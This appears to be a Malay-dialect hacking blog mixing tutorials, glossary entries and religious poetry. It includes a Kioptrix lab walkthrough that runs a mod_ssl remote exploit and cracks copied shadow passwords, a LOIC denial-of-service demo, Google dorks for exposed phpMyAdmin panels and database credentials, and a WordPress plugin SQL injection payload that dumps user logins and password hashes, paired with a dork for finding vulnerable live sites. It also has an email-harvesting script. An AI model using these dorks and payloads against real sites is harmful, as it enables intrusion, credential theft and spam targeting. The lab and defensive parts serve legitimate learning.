Salam semuo. Ari ni den buek post pasal Kioptrix. Kioptrix ni adolah image linux yang vulnerable. Dengan bahaso mudah eh, image yang dibina khusus untuk di 'hack'.

Korang boleh la cubo download image ni di : http://www.kioptrix.com/dlvm/Kioptrix_Level_1.rar

Tanpa membuang maso, kito mulokan aktiviti mengeroot Kioptrix ni. Hehehe. Ok..mulo-mulo kito runkan image ni melalui VMWare. Image ini akan dapat ip secara dhcp.

Ok, ni paparan Kioptrix. Memang maklumat username dan password tak diberikan. So macam mano nak masuk? hehehe.. hack la bai.. :P



Ok, kito upkan image backtrack pulak. Image ni bertindak sebagai attacker/hacker. Jadi kito akan mula mengehack server Kioptrix ni. Macam mano nak tahu ip si Kioptrix ni? Sonang yo.. kito gunakan nbtscan dan buek sweep scan ikut range ip kito. Kalau nengok gambar kek bawah ni kito dah dapek ip bagi server Kioptrix ni.

<br>nbtscan x.x.x.x-x<br>


Hehe.. dah dapek ip eh.. apo laie nak buek? Kito buek la port scan. Den gunokan nmap. Dan kito cubo analisa result yang kito dapek.
<br>nmap -sS -sV 10.x.x.52<br>
<br># Nmap 5.51 scan initiated Mon Jul 11 02:37:27 2011 as: nmap -sS -sV -oN kioptrix.txt 10.x.x.52<br>Nmap scan report for 10.x.x.52<br>Host is up (0.033s latency).<br>Not shown: 994 closed ports<br>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)<br>80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)<br>111/tcp open rpcbind 2 (rpc #100000)<br>139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)<br>443/tcp open ssl/http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)<br>1024/tcp open status 1 (rpc #100024)<br>MAC Address: 00:0C:29:3C:91:B3 (VMware)<br>
Hmm.. ada apache running. Version lama lak tu 1.3.20. Kito cubo scan gunokan nikto. Dan kito analisa result eh.
<br>./nikto.pl -host 10.x.x.52 -output kioptrix_80.txt<br>

<br>- Nikto v2.1.4/2.1.5<br>+ Target Host: 10.x.x.52<br>+ Target Port: 80<br>+ GET /: ETag header found on server, inode: 34821, size: 2890, mtime: 0x3b96e9ae<br>- Nikto v2.1.4/2.1.5<br>+ Target Host: 10.x.x.52<br>+ Target Port: 80<br>+ GET /: ETag header found on server, inode: 34821, size: 2890, mtime: 0x3b96e9ae<br>+ OSVDB-27487: GET /: Apache is vulnerable to XSS via the Expect header<br>+ HEAD /: Apache/1.3.20 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are also current.<br>+ HEAD /: mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)<br>+ HEAD /: OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.0d). OpenSSL 0.9.8r is also current.<br>+ GET /: Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE<br>+ OSVDB-877: GET /: HTTP TRACE method is active, suggesting the host is vulnerable to XST<br>+ OSVDB-838: GET /: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.<br>+ OSVDB-4552: GET /: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.<br>+ OSVDB-2733: GET /: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.<br>+ GET /: mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). CVE-2002-0082, OSVDB-756.<br>+ OSVDB-682: GET /usage/: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). CA-2000-02.<br>+ OSVDB-3268: GET /manual/: /manual/: Directory indexing found.<br>+ OSVDB-3092: GET /manual/: /manual/: Web server manual found.<br>+ OSVDB-3268: GET /icons/: /icons/: Directory indexing found.<br>+ OSVDB-3233: GET /icons/README: /icons/README: Apache default file found.<br>+ OSVDB-3092: GET /test.php: /test.php: This might be interesting...<br>
Hmm.. poning gak nak baco kan? Hehehe.. kito guno niktorat untuk proses output file ni dan kito cubo analisa. Kito bulih donload niktorat ni kek sini : http://sourceforge.net/projects/niktorat/files/
<br>./niktorat kioptrix_80.txt kioptrix_80<br>


Hmm.. kito hanyo tertarik pado vulnerabilty remote exploit. Kito cubo cari exploit yang berkaitan berdasarkan CVE Number (CVE-2002-0082)
+ GET /: mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). CVE-2002-0082, OSVDB-756. Hmm.. kito akan gunokan OpenFuckV2.c untuk exploit kelemahan ni.

Ok.. bilo kito compile OpenFuckV2.c ni, kito akan dapek banyak error berkenaan dengan openssl rc4 dan md5. Kito tambah include file macam kek bawah ni dalam code dio.
<br>#include <openssl h=""><br>#include <openssl h=""><br>
Compilekan code OpenFuckV2.c dengan menggunokan command kek bawah ni. (Kalau ado error pasal xjumpo include file bagi ssl, pastikan install libssl-dev)
<br>gcc -o OpenFuckV2 OpenFuckV2.c -lcrypto<br>
Runkan exploit korang dengan command kek bawah ni :
<br>./OpenFuckV2 0x6b 10.x.x.52 443<br>


Hehehe.. kito dapek r00t privillege.



Kito cubo crack password untuk server Kioptrix ni yo. Copy file /etc/passwd dan /etc/shadow dio.



Lopeh dah copy fail /etc/passwd dan /etc/shadow server Kioptrix ni. Kito cubo crack gunokan John The Ripper. Ikut command kek bawah ni. Tunggu lah sampai proses cracking solosai. Hehehe..
<br>./unshadow /pentest/gh1mau/passwd.txt /pentest/gh1mau/shadow.txt > kioptrix.db<br>john kioptrix.db<br>john -show kioptrix.db<br>
Solosai.. Heheheh.. nanti ado maso den buek posting pasal Kioptrix Level 2 pulak yo. Happy Hacking dari pokcik ghimau :)

Tanpa membuang masa kita sambung balik yo.

Debuggers

Debugger adalah program yang digunakan untuk mencari ralat atau bugs dalam sesuatu program. Debugger membolehkan programmer menghentikan sementara sesuatu program pada mana-mana point dan memeriksa atau mengubah value bagi sebarang variables.

Disassemblers

Disassembler adalah satu program komputer yang mengubah bahaso mesin kepado assembly language. Disassembler merupakan satu tool yang sangat penting dalam proses reverse engineeering.

Sekian dulu.. timo kasih. Assalamualaikum.. Hehehe..

Salam semuo.. lamo dah den tak update menatang blog ni. Bukan apo, macam biasolah kan.. sibuk menguruskan hal rumah tanggo. Hehehe.. suami mithali la katokan.. :)

Post kali den nak kongsi tentang untangle. Untangle ni merupokan satu software UTM yang bermaksud, ado firewall, web filter, ips, attack blocker dan macam-macam laie la function eh. Kalau korang nak tau lobih lanjut, leh lawat laman web untangle ni. www.untangle.com

OK.. skang ni den nak kongsi satu design network yang biaso di implement kek kebanyakan organisasi.



Kalau kito nengok diagram tu, kito akan nampak beberapo kelemahan atau loophole. Firewall utama, selepas ISP router tu bertindak sebagai First Layer defence, dio akan berfungsi untuk block attack dari luar. Skang ni cubo kito lihat satu senario, Internal user akan mengakases server dari attacker (Step 1). Selepas connection berjayo dibuek, attacker akan reply balik kepado internal user (Step 2). Ni perkaro biaso yang berlaku bilo kito akses sesuatu di internet. Internal user akan connect balik server attacker, sebab internal user sudah di infect menjadi zombie (Step3). Attacker akan memberi arahan tertentu melalui zombie eh (Internal user) untuk dapekkan maklumat atau exploit server-server internal. Ni bulih di lihat dalam Step 4 dan Step 5.

Untuk mengelakkan dan mengosan masalah ni, kito lotak untangle seperti gambar kek bawah.



Bilo kito setkan untangle dalam bridge mode, sekironya kito ado multiple vlan di belakang untangle kito kono setkan static route supayo untangle leh pass traffic.

Contoh eh macam ni, katokan belakang core switch kito ado beberapa vlan:
vlanA : 10.50.10.1
VlanB : 10.50.11.1
VlanC : 10.50.12.1

Kito setkan static route dalam untangle macam ni
target : 10.50.0.0
netmask : 255.255.0.0
gateway : ip_gateway

Nilah paparan untange in action. Hehehe. Selamat mencubo. :)

Anonymous Group ?
Hmm.. serangan dari group hackers anonymous group. Huh.. jadi topik hangat skang ni yo tak, masuk paper, masuk tv. Huhuhu.. Siapo anonymous group ni? Ontah la.. den pun tak tahu. :)

Kalau ikut paham den, anomymous group ni adolah satu konsep untuk menjayokan misi hacktivism setengah pihak dengan tujuan tertentu. Jadi anonymous group ni adolah sekumpulan hacktivist yang ingin menyuarokan luahan hati mereko. Sesiapo pun bulih jadi ahli member kumpulan ini, asalkan mereko remain anonymous. Dengan kato lain bilo nak hack tu pakailah kondom :) (ni istilah hacker tempatan, maksud eh, guno lah proxy).

Serangan terhadap Malaysia ni banyak dari hacker tempatan. Bukti eh, nengok la kek pag-page yang dideface, kebanyakannyo mesej yang dipaparkan adolah dalam bahaso melayu.

Hmm... tapi kalau dipikir balik, dengan adonyo service google translate, sesiapopun dari luar bulih menulis mesej dalam apo-apo bahaso.

Pado den, tindakan mereka ni adolah totap salah, kito kono pikir panjang, den secaro peribadi langsung tidak menyokong tindakan mereko.

Maleh nak komen banyak pasal hal ni. Hehehe.. Hmm.. den nak kongsi satu tool LOIC yang digunokan untuk tujuan DOS attack.

Untuk runkan tool ni (latest version), kono install .NET version 4.

Masukkan maklumat yang berkaitan, dan tekan run. Huhuhu. Mudah yang amat.



Nengok bilangan request yang dibuek oleh tool ni. Dan tiado sebarang
Failed request. Ini kerano tiado sebarang protection pado target server.

Untuk detect kat server, kito gunakan command ni :
<br>netstat -plan|grep :80|awk {'print $5'}|cut -d: -f 1|sort|uniq -c|sort -nk 1<br>

U mak ai.. banyaknyo connection. Hehehe..



Jadi macom mano nak block request dari ip tersebut. Kito gunokan iptables.

Setkan rule seperti berikut :
<br>iptables -A INPUT -s alamat_ip -j DROP<br>iptables -A INPUT -s alamat_ip -j LOG --log-prefix "DOS Attack: "<br>



Kito run balik LOIC. Nampaknyo takdo request yang berjayo :) Hmm..bilo nengok log file, ado entry yang menunjukkan request telah diblock.



Kito jugo bulih menggunokan DDOS_Deflate untuk mengelakkan masalah DDOS ni. Copy file ni ke dalam server anda. Dan mulokan install
<br>wget http://www.inetbase.com/scripts/ddos/install.sh<br>chmod 0700 install.sh<br>./install.sh<br>

Pastu edit skit configuration eh kek /usr/local/ddos/ddos.conf. Ubah ikut setting kek bawah ni.
<br>NO_OF_COONECTIONS = 100<br>APF_BAN = 0<br>

Ok, pastu kito runkan script ni untuk test. Kito nengok cpu usage semakin bertambah, bilo kito run LOIC ni, (ni sebelum kono block). Banyak process apache.



Bilo sampai waktu dan ketiko eh, skrip ni akan auto set rule kek iptable untuk drop connection. Macam tu la caronyo. Kalau ado nak tanyo.. silo bertanyo diruangan komen :)

Ok.. kito sambung balik siri ni yo. Hehehe..

Byte Code

Bytecode adalah code yang setelah dicompile akan berjalan pada processor. Dengan menggunakan bytecode, code tersebut boleh berjalan pada semua platform. Bytecode juga dikenali sebagai p-code(portable code).

Little Endian

Little Endian atau Big Endian adalah terms yang digunakan untuk menunjukkan susunan byte yang disimpan dalam memory. Little endian (little end) adalah susunan (least significant value in the sequence) di simpan dahulu.

Sebagai contoh Big Endian akan menyimpan nilai 4F52(nilai hex) sebagai 4F52 dalam memori (senario : 4F di simpan pada address 1000 dan 52 di simpan pada address 1001)

Manakala Little Endian pula akan menyimpan dalam memory dengan susunan 524F (senario: 52 pada address 1000 dan 4F pada address 1001)

Compilers

Bahasa mudahnya compiler adalah satu program yang menterjemahkan source code kepada object code.

Compiler berbeza dengan interpreter, kerana interpreter akan menganalisa setiap baris source code dan melaksanakannya, tanpa 'melihat' pada keseluruhan program.



Ni ado satu language yang sangat menarik. namo eh Brain Fuck. Hehehe.. korang leh dapekkan maklumat lanjut kek sini : http://home.arcor.de/partusch/html_en/bfd.html

Ok.. try la download compiler dio dan runkan code kek bawah ni, pastu bagitau den apo hasil eh :)

<br />>++++++++++[>+++>+++++>++++++++++>+++++++++++>++++++++++++[<]>-]>>>+++.+.+.>-.<--------.>>---.<<<<++.>>>+++++.<<--.>>>+++.<<<<+.<br />

Nanti kito sambung pulak pado siri yang ketigo :) Nantikan...

Perjalanan diri itu jalan yang lurus, 'siratal mustaqim'
Perjalanan diri itu hakikat diri
Perjalanan diri itu hijrah diri

Perjalanan diri itu daripada nafsu tercela kepada nafsu terpuji
Perjalanan diri itu daripada nafsu ammarah (pada kebanyakan orang) kepada nafsu Kamaliah (pada yg terkhusus sahaja)
Perjalanan diri itu daripada banyak dosa kepada kurang dosa
Perjalanan diri itu daripada kurang dosa kepada terhapus dosa
Perjalanan diri itu daripada terhapus dosa kepada dipeliharaNYA daripada berbuat dosa
Perjalanan diri itu daripada banyak syiriknya, kepada kurang syiriknya, kepada tiada syiriknya, tiada syirik khafi, tiada syirik mukhafi

Perjalanan diri itu daripada jahil kepada berilmu
Perjalanan diri itu daripada tidak bersolat kepada bersolat
Perjalanan diri itu daripada bersolat tidak cukup kepada cukup fardhunya
Perjalanan diri itu daripada cukup solat fardhunya kepada ditambah solat sunatnya
Perjalanan diri itu daripada tidak sempurna solatnya kepada sempurna solatnya

Perjalanan diri itu daripada Latifatul Qalbi kepada Latifatul Kullu Jasad
Perjalanan diri itu daripada tidak mengenal diri kepada mengenal diri
Perjalanan diri itu daripada mengenal diri kepada mengenal Allah Yang Esa
Perjalanan diri itu daripada mengenal Allah yang Esa kepada DIA semata2

Perjalanan diri itu berkaitan Islam
Perjalanan diri itu berkaitan Iman
Perjalanan diri itu berkaitan mikraj
Perjalanan diri itu berkaitan Ihsan

Perjalanan diri itu berkaitan di mana kita di alam barzakh kelak

Perjalanan diri itu setiap detik, masa dan ketika...

Berikut adolah senarai istilah yang biaso kito akan jumpo dalam proses buffer overflow

Register
Dalam computer architecture, processor register adalah storage kecil yang terdapat pado CPU, yang mano kandungannya boleh dicapai dengan lobih pantas berbanding storan yang lain. Secaro amnya, resiter ini tidak dianggap sebahagian daripado memory biaso PC.

Register berado di eteh memory hierarchy.

API
API (Application Programming Interface) adolah sebahagian rule dan spesifikasi yang mano program bulih gunokan untuk berhubung sesamo mereka. API bertindak sebagai interface antaro software programs dan membantu proses interaksi, lebih kurang macam user interface membantu interaksi antaro pengguna(manusia) dan komputer.

Assembly Language
Assembly Language adolah low level programming language untuk komputer, microprosessors,
microcontrollers dan device-device lain. Cakap mudah eh, assembly ni adolah bahaso mesin.

Assembly Language ni berbezo berdasarkan architechure computer.

Contoh code:
ghimau.asm
<br>section .text<br> global _start <br><br>_start: <br><br> mov edx,len <br> mov ecx,msg <br> mov ebx,1 <br> mov eax,4 <br> int 0x80 <br><br> mov eax,1 <br> int 0x80 <br><br>section .data<br><br>msg db 'ghimau r0x!',0xa <br>len equ $ - msg <br>

Untuk compile dan run, gunokan command kek bawah ni.
<br>nasm -f elf ghimau.asm<br>ld -s -o ghimau ghimau.o<br>./ghimau<br>


Nanti bersambung lagi untuk siri yang kedua. Insya ALLAH :)

Google dork untuk hari ni. Maklumat yang diaparkan adalah untuk tujuan pembelajaran sahajo. Sebarang penyalahgunaan maklumat adolah eteh tanggungjawap anda sendiri.

<br>inurl:loader-wizard ext:php<br>inurl:sarg inurl:siteuser.html<br>inurl:/install/install.php intitle:vBulletin * Install System<br>

Rabi’ah, meskipun seorang wanita, namun merupakan mahkota laki-laki. Sekali ia mempergunakan waktunya delapan tahun untuk pergi haji ke Ka,bah dengan mengingsutkan panjang badannya di tanah. Ketika akhirnya ia sampai ke pintu rumah suci itu, ia berpikir, “Kini akhirnya telah kutunaikan kewajibanku.” Pada hari suci ketika ia hendak menghadapkan diri ke Ka’bah, perempuan-perempuan pengiringnya meninggalkannya. Maka Rabi’ah pun menyelusuri jejaknya semula dan berkata, “O Tuhan yang memiliki seri keagungan, delapan tahun lamanya hamba telah mengukur jalan dengan panjang badan hamba, dan kini, ketika hari yang dirindukan itu telah tiba sebagai jawaban atas doa-doa hamba, Tuan letakkan duri-duri di jalan hamba!”

Untuk memahami arti peristiwa demikian perlu pula mengetahui seorang pencinta Tuhan seperti Rabi’ah itu. Selama kau terapung-apung di lautan dunia yang dalam, ombak-ombaknya akan menerima dan menolakmu berganti-ganti. Kadang-kadang kau akan diperkenankan sampai ke Ka’bah, kadang-kadang pula kau akan menarik nafas panjang (karena kecewa) berada di sebuah kuil. Jika kau berhasil menarik diri dari keterikatan dengan dunia ini, kau akan menikmati kebahagiaan; tetapi jika kau tinggal terikat, kepalamu akan berpusing-pusing bagai batu giling pada perkakas penggiling. Tidak sejenak pun kau akan tenang; kau akan terganggu oleh seekor nyamuk saja pun.

Ok, kali ni den nak kongsi teknik forensic untuk dapatkan password dan windows password hash dari physical memory.

Macam yang kita ketahui, benda-benda ni disimpan dalam memory pc kita. Teknik yang sama digunakan oleh ahli forensics untuk menganalisa sekiranya ado malware yang reside dalam memory.

Ok, tanpa membuang maso. Mulo-mulo untuk dump memory ni, kito gunakan satu tools mdd
command yang kito gunakan adolah
<br>mdd_1.3.exe -o [nama_fail]<br>


Untuk tujuan memory analysis kito akan gunokan tools volatility

Gunokan command berikut untuk memaparkan senarai proses yang running.
<br>python volatility pslist -f [nama_image]<br>


Gunokan command berikut untuk melihat connections
<br>python volatility connscan -f [nama_image]<br>


Gunokan command berikut untuk mendapatkan maklumat am tentang image
<br>python volatility ident -f [nama_image]<br>


Gunokan command berikut untuk string dan offset. Untuk tujuan ni, kono download utllity strings.exe dari sysinternals
<br>strings.exe -a -o -n 5 [nama_image] > [nama_fail]<br>


Hasil dari langkah kek eteh tu, kito leh gunakan options string dalam volatility untuk carik string yang spesisifik

Ok.. kito nengok macam mano nak dapekkan password hash bagi windows logon Kito kono dapekkan hiveoffset dari memory image kito. Untuk ni kono ado module yang berkaitan dengan registry. Leh download kek sini :

http://kurtz.cs.wesleyan.edu/%7Ebdolangavitt/memory/volreg-0.2.zip

Pastu gunokan command seperti kek bawah ni
<br>python volatility hivescan -f [nama_image]<br>


Gunakan command kek bawah ni. Amik nilai offset yang pertama pado step sebelumnya.
Gunakan nilai hex. Amik nilai offset bagi SAM dan system untuk langkah berikutnya
<br>python volatility hivelist -f [nama_image] -o [nilai_offset]<br>


Gunakan command kek bawah ni untuk dapatkan password hash. (Gunakan nilai offset
SAM dan system)
<br>python volatility hashdump -f [nama_image] -y 0xe1037b60 -s 0xe1c64b60<br>


Sotolah kito dapek hash file tersobut, kito bulihlah crack. Ado beberapo tools yang bulih digunakan untuk tujuan ni : SamInside, Ophcrack. Untuk tutorial ni den gunokan SamInside.


Sekian dulu untuk kali ni. Hehehe. :)

Huhuhu.. python memang jauh lagi simple dari c :)

<br>import socket<br>import struct<br><br>host = "vortex.labs.overthewire.org"<br>port = 5842<br>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br><br>try:<br> s.connect((host, port))<br>except Exception:<br> print ("[+] Ralat! : Tidak dapat connect pada server")<br> <br>jumlah = 0<br>for n in range(4):<br> data = s.recv(4)<br> jumlah += struct.unpack("<I", data)[0] <br />s.send(struct.pack("<I", (jumlah & 0xFFFFFFFF))) <br />print s.recv(1000) s.close()<br />

Socket dalam python:



Baru tahu pasal struct :)

Salam.. ni den nak kongsi satu sql injection bug kek Satu component wordpress. Maklumat ini adolah untuk tujuan pembelajaran sahajo. Segalo penyalahgunaan maklumat adalah atas tanggungjawap anda sendiri :)

Ok.. ni google dork untuk mencari site yang vulnerable. Dork ni bulih diubahsuai untuk mendapatkan lobih banyak target.
<br>inurl:"wp-content/plugins/forum-server/feed.php"<br>

Dan ini adolah exploit code eh.
<br>feed.php?topic=1+union+select+group_concat(user_login,0x3a,user_pass)<br>+from+wp_users--<br>

Ni contoh POC target yang mempunyai kelemahan yang dinyatokan kek eteh tu.



Ni pulak adolah perl script yang den buek untuk extract maklumat dari kelemahan sqli

Apo bondo eh ni? Ni adolah satu tools untuk tujuan web authoring. Tools ini menggunokan konsep WYSIWYG. Dio ni macam dreamweaver la.. cumo loboh lightweight. Nak gunokan eh pun mudah.

Kalau berminat bulih lah layari laman web eh kek sini : http://kompozer.net/

Ni adolah antaramuko tool ni. Nampak mudah dan mesra pengguno.


Kek sini kito bulih nengok general setting.


Tools ni jugak membulihkan kito buek source code editing. Jadi bulihlah kito tambah atau ubahsuai mengikut citoraso kito :)


Kek sini kito bulih la membuat setting am untuk tujuan publishing dan lain-lain lagi.


Ok la yo. Kalau ado yang berminat nak gunokan tool ni bulihlah download, install dan cubo guno. Kalau ado masalah.. silo lah bertanya dalam ruangan komen. Insya ALLAH den akan bantu :)

Salam semuo. Apo khabar haghi ni.. Den nak sambung tutorial penggunaan tcpdump/windump siri yang ketigo.
Kot ado yang xpaham, leh la tanyo dan kongsi kek ruangan komen tu yo.

Tanpa membuang maso, kito nengok lak apo laie command-command yang bulih dibuek melalui tool ini.

Command 11 :
<br>windump -i [interface] port no_port<br>
untuk melihat trafic pado port yang dinyatokan.



Command 12 :
<br>windump -i [interface] src port no_port<br>
untuk melihat traffic dari sumber port yang dinyatokan



<br>windump -i [interface] dst port no_port<br>
untuk melihat traffic ke destinasi port yang dinyatokan


Command 13 :
<br>windump -i [interface] udp and src port 53<br>
untuk melihat traffic dns



Command 14 :
<br>windump -i [interface] portrange [no_port]-[no_port]<br>
untuk melihat traffic dari range port yang dinyatokan



Command 15 :
<br>windump -i [interface] less [byte]<br>
untuk melihat traffic yang lebih kecil dari byte yang dinyatokan



<br>windump -i [interface] greater [byte]<br>
untuk melihat traffic yang lebih besar dari byte yang dinyatokan


* Boleh juga guno format ni :
<br><<br><=<br>><br>>=<br>

Ok.. setakat ni dulu yo untuk kali ni.. nanti ado maso kita sambung part 4 pulak :)
Ni adolah senarai command untuk post kali ni :
<br />windump -i [interface] port no_port<br />windump -i [interface] src port no_port<br />windump -i [interface] dst port no_port<br />windump -i [interface] udp and src port 53<br />windump -i [interface] portrange [no_port]-[no_port]<br />windump -i [interface] less [byte]<br />windump -i [interface] greater [byte]<br />

Salam semuo. Hari ni den nak kongsi beberapo google dork untuk korang cubo. Gunokan eteh tanggungjawap sendiri. Salah guno, sendiri tanggung yo :)

intitle:phpmyadmin inurl:server_processlist.php<br>Filetype: inc intext: mysql_connect<br>"parent directory" +proftpdpasswd<br>allintext:”Safe-mode: OFF (not secure)”<br>filetype:inc mysql_connect("localhost","root"<br>inurl:/phpmyadmin/scripts/setup.php<br>
So macam mano nak gunokan menatang ni? Hehehe.. copy salah satu dork kek eteh tu, dan masukkan kek ruangan google search. Pastu tokan la butang carian :)



Dan ini lah salah satu hasil dari carian menggunokan dork di eteh tu.

Salam, den nak kongsi script python simple untuk tujuan email harvesting dari web. Bolehlah korang kalau nak cubo script ni. Script ni simple yo, nanti ado maso den nak tambah fungsi proxy dan cek kalau ado redundant entry.

#!/usr/bin/env python<br>import urllib, re, os<br>os.system('cls')<br>print ' _ ___ _ '<br>print '(_:( ._. ):_) *********************************** '<br>print ' =(( ))= * simple email grabber | ghimau * '<br>print ' ( - ) *********************************** '<br>print<br><br>url = raw_input("Masukkan URL: ")<br>print<br>source = urllib.urlopen(url).read()<br>r = re.compile('(?<=href="mailto:).*?(?=")')<br>emails = r.findall(source)<br>print '-----------------'<br>print '[+] Senarai email'<br>print '-----------------'<br>print '\n'.join(emails)<br>